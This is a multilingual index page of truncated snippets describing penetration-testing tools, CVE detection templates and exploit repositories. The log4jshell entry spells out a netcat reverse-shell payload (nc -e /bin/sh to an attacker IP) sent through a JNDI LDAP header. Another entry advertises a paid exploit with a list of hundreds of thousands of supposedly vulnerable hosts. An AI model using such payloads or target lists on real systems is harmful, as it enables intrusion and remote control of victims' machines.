meg

meg megは、多数のURLを取得しながらも、サーバーに対して「優しく」振る舞うためのツールです。 多くのホストに対して多くのパスを取得するために使用できます。すべてのホストに対して1つのパスを取得してから、次のパスに移り、それを繰り返します。 結果は大量に素早く得られますが、個々のホストがトラフィックで溢れることはありません。 インストール megはGoで書かれており、実行時の依存関係はありません。Go 1.9以降がインストールされ設定されていれば、go installでmegをインストールできます。 root@kitploit: ▶ go install...

pymultitor

PyMultiTor Python Multi Threaded Tor Proxy, Did you ever want to be at two different places at the same time? When I asked myself this question, I actually started developing this solution in my mind. While performing penetration tests there are often problems caused by security devices that bloc...

LadonGo

Ladon Scanner For Golang Wiki http://k8gege.org/Ladon/LadonGo.html Introduction LadonGo is an open source intranet penetration scanner framework, which can be used to easily detect segment C, B, A live hosts, fingerprint identification, port scanning, password explosion, remote execution, high-ri...

CVE-2024-12535

CVE-2024-12535 Host PHP Info = 1.0.4 - 缺少授权检查，导致未认证敏感信息泄露 描述 WordPress 的 Host PHP Info 插件在所有版本（包括 1.0.4）中，由于在包含 'phpinfo' 函数时缺少权限检查，存在数据未授权访问的漏洞。这使得未认证攻击者能够读取站点服务器上的配置设置和预定义变量。该漏洞的利用无需插件处于激活状态。 详情 类型 : plugin Slug : host-php-info 受影响版本 : 1.0.4 CVSS 分数 : 8.6 CVSS 评级 : 高危 CVSS 向量 :...

Emlog Pro v2.1.14 - Cross-Site Scripting

Cross Site Scripting XSS vulnerability in Emlog Pro v2.1.14 via /admin/store.php. id: CVE-2023-41621 info: name: Emlog Pro v2.1.14 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Cross Site Scripting XSS vulnerability in Emlog Pro v2.1.14 via /admin/store.php. impact: ...

modoboa 2.0.4 - Admin TakeOver

Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4. id: CVE-2023-0777 info: name: modoboa 2.0.4 - Admin TakeOver author: r3Y3r53 severity: critical description: | Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to...

DomainMOD 4.13.0 - Cross-Site Scripting

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. id: CVE-2020-20988 info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.13.0 is vulnerable to...

Vite Dev Server - Directory Traversal

Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a pat...

Astro SSR - Server-Side Request Forgery

Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources. id: CVE-2026-25545 info: name: Astro SSR - Server-Side Request Forgery author:...

Plone Docker - Host Header Injection

Plone Docker Official Image 5.2.13 5221 is vulnerable to Host Header Injection due to improper validation of input by the HOST headers. This can lead to Cross-Site Scripting XSS attacks when the malicious Host header value is reflected in the response. id: CVE-2024-23055 info: name: Plone Docker ...

Vite Dev Server - Information Exposure

Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network using...

ExponentCMS <= 2.6 - Host Header Injection

An HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponentconstants.php. A modified HTTP header can change links on the webpage to an arbitrary value,leading to a possible attack vector for MITM. id: CVE-2021-38751 info: name: ExponentCMS = 2.6 - Host Header Injection author:...

Arelle < 2.39.10 - Remote Code Execution

Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle...

CVE-2023-27163

CVE-2023-27163 PoC CVE-2023-27163, SSRF, request-baskets up to v1.2.1 Usage example myscript.sh -i 10.10.11.111 -f 'localhost:80' -t 10.10.14.27 -i victim server IP -f IP or address to direct connections produced by the SSRF -t in this option goes your local IP or attacker IP, for generating the...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 利用工具，使用 Python 3 编写，兼容 URL/IP 列表。此下载包含根据 shodan.io 和个人扫描得出的超过 334,300 个潜在易受攻击的主机列表。 该工具并非免费 ，以防止滥用。目前补丁正在应用，但大多数系统尚未修补。 我们提供了 4 份有限副本出售，地址：https://satoshidisk.com/pay/CEtVaB Requirements sudo apt-get install python3 python3-pip pip3 install requests Statistics...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh 转换为Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念验证 Log4j 概念验证 关注 Youtube Twitter...

AgentSmith-HIDS

AgentSmith-HIDS --The name of this project was inspired by the movie - The Matrix English | 简体中文 THIS REPO IS OLD RELEASE VERSION: https://github.com/bytedance/Elkeid About AgentSmith-HIDS Technically, AgentSmith-HIDS is not a Host-based Intrusion Detection System HIDS due to lack of rule engine...

RCE

CVE-2022-31814 WebApp 漏洞 root@kitploit: import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

viper

This repository is archived and development of Viper 1.x is discontinued. A full refactor of the project started withViper 2. Viper is a binary analysis and management framework. Its fundamental objective is to provide a solution to easily organize your collection of malware and exploit samples a...

Puwr

目次 Puwrについて Puwrの使用方法 ポートスキャン 発表例 免責事項 将来の計画 Puwr SSHを介してより多くのホストを発見することで、ローカルネットワーク上の攻撃対象領域を簡単に拡張できます。 SSHサービスを実行しているマシンを使用して、Puwrは指定されたサブネット範囲内のIPをスキャンし、成功したpingリクエストを返送します。 これにより、侵害されたマシンからピボット攻撃を仕掛けることができ、通常は自分のデバイスから発見できないホストを教えてくれます。...